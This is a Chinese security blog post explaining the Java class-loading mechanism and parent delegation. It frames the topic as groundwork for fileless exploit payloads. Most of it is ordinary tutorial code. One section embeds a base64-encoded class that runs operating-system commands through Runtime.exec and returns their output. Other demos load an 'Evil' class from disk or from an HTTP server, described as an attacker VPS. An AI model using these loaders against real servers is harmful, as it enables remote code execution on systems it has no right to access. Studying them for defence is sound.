Java类加载机制

前言:

为什么要看类加载机制,很多无文件落地的回显有用到,前段时间看的rsap这块有用到。所以感觉还是很有必要系统的过一下。

启动类加载器(Bootstrap ClassLoader):

根类加载器是最底层的加载器,代码是使用C++编写的.是虚拟机自身的一部分,且没有父类加载器。
这个类加载器负责将\jre\lib目录下的类库加载到虚拟机内存中,用来加载java的核心库,此类加载器并不继承于java.lang.ClassLoader,不能被java程序直接调用,出于安全考虑,跟加载器只加载java\javax\sun开头的类

查看Bootstrap加载器都加载了哪些类

1
2
3
4
5
6
7
8
9
public static  void getBootstrapClass(){
System.out.println("Bootstrap classloader can use thess jars:");
URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();
for(URL url : urls){
System.out.println(url.toExternalForm());
}

//也可以直接通过 System.out.println(System.getProperty("sun.boot.class.path"));直接获取
}

Bootstrap

扩展类加载器(Extendsion ClassLoader):

他是有Java语言编写,父加载器是根加载器,但两者不是继承关系。这个类加载器负责加载\jre\lib\ext目录下的类库,用来加载java的扩展库,开发者可以直接使用这个类加载器.

Extendsion加载器都加在了哪些类

1
2
3
4
5
6
7
8
9
// 也可以通过  System.out.println(System.getProperty("java.ext.dirs"));

ClassLoader extensionClassloader=ClassLoader.getSystemClassLoader().getParent();
System.out.println("the parent of extension classloader : "+extensionClassloader.getParent());
System.out.println("extension classloader can use thess jars:");
URL[] extURLs = ((URLClassLoader)ClassLoader.getSystemClassLoader().getParent()).getURLs();
for (int i = 0; i < extURLs.length; i++) {
System.out.println(extURLs[i]);
}

Extendsion

应用程序类加载器(System ClassLoader):

这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的java类都是由这个类加载器加载,所以也称为应用类加载器.一般情况下这就是系统默认的类加载器.他是用户自定义加载器的默认父加载器,但他的父加载器是Extendsion类加载器.也不是继承关系,只是名义上的。

System or app 加载器都加载了哪些类

1
2
3
4
5
6
7
8
//也可以直接通过  System.getProperty("java.class.path");
ClassLoader systemClassloader=ClassLoader.getSystemClassLoader();
System.out.println("the parent of system classloader : "+systemClassloader.getParent());
System.out.println("System classloader can use thess jars:");
URL[] extURLs = ((URLClassLoader)ClassLoader.getSystemClassLoader()).getURLs();
for (int i = 0; i < extURLs.length; i++) {
System.out.println(extURLs[i]);
}

System

1
2
ClassLoader classLoader1 = TestClassLoader.class.getClassLoader();
System.out.println(classLoader1);

可以看出我们平常自己编写的项目里的类和第三方jar包都是由AppClasslod加载的,也就是应用类加载器
System

java虚拟机是对calss文件采取的加载原则是按需加载,也就是说在使用该类的时候才会将calss文件加载到内存中。并且遵守双亲委派原则

双亲委派原则:

当某个类加载器需要加载某个.class文件时,它首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类。

System

双亲委派原则带来的好处:

避免重复加载

采用双亲委派模式的是好处是Java类随着它的类加载器一起具备了一种带有优先级的层次关系,通过这种层级关可以避免类的重复加载,当父亲已经加载了该类时,就没有必要子ClassLoader再加载一次。

避免核心类篡改

java核心api中定义类型不会被随意替换,假设通过网络传递一个名为java.lang.Integer的类,通过双亲委托模式传递到启动类加载器,而启动类加载器在核心Java API发现这个名字的类,发现该类已被加载,并不会重新加载网络传递的过来的java.lang.Integer,而直接返回已加载过的Integer.class,这样便可以防止核心API库被随意篡改。可能你会想,如果我们在classpath路径下自定义一个名为java.lang.SingleInterge类(自定义类)呢?该类并不存在java.lang中,经过双亲委托模式,传递到启动类加载器中,由于父类加载器路径下并没有该类,所以不会加载,将反向委托给子类加载器加载,最终会通过系统类加载器加载该类。但是这样做是不允许,因为java.lang是核心API包,需要访问权限,强制加载将会报出如下异常

双亲委派原则源码

  • 首先通过findLoadedClass查看类是否已经被加载
  • 如果没被加载,并判断父类构造器部位null,就尝试委托父类进行loadClass递归调用加
  • 如果父类加载器是null,说明是启动类加载器,查找对应的Class
  • 如果都没有找到,就调用findClass(String)

1、如果不想打破双亲委派模型,那么只需要重写findClass方法即可

2、如果想打破双亲委派模型,那么就重写整个loadClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

java.lang.ClassLoader

ClassLoader加载器,除了Bootstrap类加载器外,所有的类加载器都得继承java.lang.ClassLoader.他是一个抽象类.

loadclass

使用指定的类名来加载类。此方法使用与loadClass(String, boolean) 方法相同的方式搜索类。并且该方法实现了双亲委派原则。从源码中我们可以观察到它的执行顺序。需要注意的是,只有父类加载器加载不到类时,会调用findClass方法进行类的查找,所以,在定义自己的类加载器时,不要覆盖掉该方法,而应该覆盖掉findClass方法。

使用示例:

1
2
3
4
5
6
URL url = new URL("http://127.0.0.1:9999/");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
System.out.println("urlClassLoader 的父类加载器是 "+urlClassLoader.getParent());
//有包的话得加包名
Class clazz = urlClassLoader.loadClass("Evil");
clazz.newInstance();

findClass

根据名称或位置加载.class字节码文件流,然后使用defineClass解析成虚拟机能够识别的Class对象
这个方法通常由子类去实现(自定义类加载器时,从写findClassf方法)
在,且ClassLoader中给出了一个默认的错误实现。

1
2
3
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

defineClass

用来将byte字节解析成虚拟机能够识别的Class对象。defineClass()方法通常与findClass()方法一起使用。在自定义类加载器时,会直接覆盖ClassLoader的findClass()方法获取要加载类的字节码,然后调用defineClass()方法生成Class对象。

1
2
protected final Class<?> defineClass(String name,byte[] b,int off,int len)
throws ClassFormatError

构造恶意类:

利用自定义Classload加载回显类
注:只有重写了ClassLoader的findClass方法才可以使用defineClass方法
前面文章有聊过,利用weblogic的DefiningClassLoader去加载,这个与weblogic的类似。自定义构造类下面也有详细讲述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.screw;

import sun.misc.BASE64Decoder;

import java.io.IOException;
import java.lang.reflect.Method;

/**
* @Author: Screw
* @description: com.screw
* @Date: 2020/7/2 11:15 下午
*/
public class DefindClassPOC extends ClassLoader{

@Override
protected Class<?> findClass(String name) {
String R = "yv66vgAAADMARAoAEgAhCgAiACMKACIAJAcAJQcAJgoAJwAoCgAFACkKAAQAKgcAKwoACQAhCgAEACwKAAkALQgALgoACQAvBwAwCgAPADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwEAC3JldmVyc2VDb25uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANU3RhY2tNYXBUYWJsZQcANAcAJQcAKwcANQEAClNvdXJjZUZpbGUBAAZSLmphdmEMABMAFAcANgwANwA4DAA5ADoBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcANAwAOwA8DAATAD0MABMAPgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD8AQAwAQQBCAQABCgwAQwBAAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAEwAZAQABUgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAh0b1N0cmluZwAhABEAEgAAAAAAAgABABMAFAACABUAAAAhAAEAAQAAAAUqtwABsQAAAAEAFgAAAAoAAgAAAAcABAAJABcAAAAEAAEADwABABgAGQACABUAAAChAAUACAAAAFO4AAIrtgADTbsABFm7AAVZLLYABrcAB7cACE67AAlZtwAKOgQttgALWToFxgATGQQZBbYADBINtgAMV6f/6RkEtgAOOga7AA9ZGQa3ABA6BxkHvwAAAAIAFgAAACIACAAAAA4ACAAPABsAEAAkABIALgAUAD4AFgBFABcAUAAYABoAAAAUAAL+ACQHABsHABwHAB38ABkHAB4AFwAAAAQAAQAPAAEAHwAAAAIAIA==";
BASE64Decoder decoder = new BASE64Decoder();
byte[] data = new byte[0];
try {
data = decoder.decodeBuffer(R);
} catch (IOException e) {
e.printStackTrace();
}
return defineClass(name,data,0,data.length);
}


public static void main(String[] args) throws Exception {

Class<?> clazz = new DefindClassPOC().loadClass("R");
Method m =clazz.getMethod("reverseConn",String.class);
m.invoke(clazz.newInstance(),"ifconfig");
}

}

执行结果:
Bootstrap

URLClassloader

URLClassloader也是常见构造java回显的方式,通常有两种
1.不能出网的情况下,上传恶意的class或者jar到目标服务器上,然后用URLClassloader采取物理路径的方式去加载到内存中,并使用反射的方法调用。(典型代表6哥的反序列化工具,报错回显)
2.能出网的情况下,直接在vps上起个http服务,将恶意类放在根目录下由URLClassloader采取网络请求的方式去加载到内存中,并使用反射的方法调用。(优点是无文件落地,典型代表也是报错回显)

物理加载demo

1
2
3
4
5
6
7
8
9
10
11
        // 如果有包名的话,路径直接写到包名的最外面
File file = new File("/Users/xxxx/Documents/Code/SelfCode/vulRepetition/");
// URI uri = file.toURI();
// URL url = uri.toURL();
URL url = file.toURL();

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
System.out.println("urlClassLoader 的父类加载器是 "+urlClassLoader.getParent());
//有包的话得加包名
Class clazz = urlClassLoader.loadClass("Evil");
clazz.newInstance();

网络加载demo

1
2
3
4
5
6
7
8
//坑点 http链接必须以/结尾
//有包的话直接根路径,不用输入包路径
URL url = new URL("http://127.0.0.1:9999/");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
System.out.println("urlClassLoader 的父类加载器是 "+urlClassLoader.getParent());
//有包的话得加包名
Class clazz = urlClassLoader.loadClass("Evil");
clazz.newInstance();

自定义类加载器

自定义类加载器实现,需要继承ClassLoader类,并覆盖掉findClass方法。

大家有没有想过一个问题,如果tomcat部署了很多个项目,而每个项目的fastjson版本一般都不会一致,除非一些比较大的甲方公司会强制root pom限定版本外,一般都是一些不同的版本。那这样的话多个项目是不是版本依赖就冲突了?如果遵循双亲委派原则的话,万一是一个低版本的先加载到内存中,后续的项目尝试加载时发现已经加载了,直接返回。是不是即使你用了高版本的fastjson也无法防御攻击?——》哈哈,其实这些常见的web中间件都考虑到了,解决方案就是自定义类加载器。下篇文章在给大家聊tomcat类加载流程,剧透一下是违背双亲委派原则的

自定义类demo1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.screw;

import java.io.*;

/**
* @Author: Screw
* @description: com.screw
* @Date: 2020/7/2 10:12 下午
*/
public class SelfFileClassLoader extends ClassLoader{
private String directory;

public SelfFileClassLoader(String directory){
this.directory = directory;
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
//把类名转换为目录
String file = directory+ File.separator+name.replace(".", File.separator)+".class";
System.out.println(file);
//构建输入流
InputStream in = new FileInputStream(file);
//存放读取到的字节数据
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte buf[] = new byte[1024];
int len = -1;
while((len=in.read(buf))!=-1){
baos.write(buf,0,len);
}
byte data[] = baos.toByteArray();
in.close();
baos.close();
return defineClass(name,data,0,data.length);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) throws Exception {
SelfFileClassLoader selfFileClassLoader = new SelfFileClassLoader("/Users/xxx/Documents/Code/SelfCode/vulRepetition");
//如果有类名,记得加类 eg:com.screw.Evil
Class clazz = selfFileClassLoader.loadClass("Evil");
clazz.newInstance();
}

}

Bootstrap

自定义demo2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class SelfUrlClassLoader extends ClassLoader{
private String url;

public SelfUrlClassLoader(String url){
this.url = url;
}

//做热部署demo
public SelfUrlClassLoader(String url,ClassLoader parent){
super(parent);
this.url = url;
}


@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
String path = url+ "/"+name.replace(".","/")+".class";
URL url = new URL(path);
InputStream inputStream = url.openStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int len = -1;
byte buf[] = new byte[1024];
while((len=inputStream.read(buf))!=-1){
baos.write(buf,0,len);
}
byte[] data = baos.toByteArray();
inputStream.close();
baos.close();
return defineClass(name,data,0,data.length);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

public static void main(String[] args) throws Exception {
SelfUrlClassLoader selfUrlClassLoader = new SelfUrlClassLoader("http://127.0.0.1:9999/");
//如果有类名,记得加类 eg:com.screw.Evil
Class clazz = selfUrlClassLoader.loadClass("Evil");
clazz.newInstance();
}
}

Bootstrap

热部署类加载器

当我们调用loadClass方法加载类时,会采用双亲委派模式,即如果类已经被加载,就从缓存中获取,不会重新加载。如果同一个class被同一个类加载器多次加载,则会报错。因此,我们要实现热部署让同一个class文件被不同的类加载器重复加载即可。但是不能调用loadClass方法,而应该调用findClass方法,避开双亲委托模式,从而实现同一个类被多次加载,实现热部署。

详细的demo下篇聊

类的显式与隐式加载

类的加载方式是指虚拟机将class文件加载到内存的方式。

显式加载是指在java代码中通过调用ClassLoader加载class对象,比如Class.forName(String name);this.getClass().getClassLoader().loadClass()加载类。

隐式加载指不需要在java代码中明确调用加载的代码,而是通过虚拟机自动加载到内存中。比如在加载某个class时,该class引用了另外一个类的对象,那么这个对象的字节码文件就会被虚拟机自动加载到内存中。

线程上下文类加载器

在Java中存在着很多的服务提供者接口SPI,全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的API,这些接口一般由第三方提供实现,常见的SPI有JDBC、JNDI等。这些SPI的接口(比如JDBC中的java.sql.Driver)属于核心类库,一般存在rt.jar包中,由根类加载器加载。而第三方实现的代码一般作为依赖jar包存放在classpath路径下,由于SPI接口中的代码需要加载具体的第三方实现类并调用其相关方法,SPI的接口类是由根类加载器加载的,Bootstrap类加载器无法直接加载位于classpath下的具体实现类。由于双亲委派模式的存在,Bootstrap类加载器也无法反向委托AppClassLoader加载SPI的具体实现类。在这种情况下,java提供了线程上下文类加载器用于解决以上问题。

线程上下文类加载器可以通过java.lang.Thread的getContextClassLoader()来获取,或者通过setContextClassLoader(ClassLoader cl)来设置线程的上下文类加载器。如果没有手动设置上下文类加载器,线程将继承其父线程的上下文类加载器,初始线程的上下文类加载器是系统类加载器(AppClassLoader),在线程中运行的代码可以通过此类加载器来加载类或资源。

显然这种加载类的方式破坏了双亲委托模型,但它使得java类加载器变得更加灵活。

总结

以前对这块只是浏览过一些概念,所以一直一知半解的。很多安全上的深入细节理解不了。安全这个东西还是得多动手呀,靠YY是解决不了的。

参考:

https://blog.csdn.net/w8827130/article/details/82313612

文章作者: Screw
文章链接: http://screwsec.com/2020/07/03/Java%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog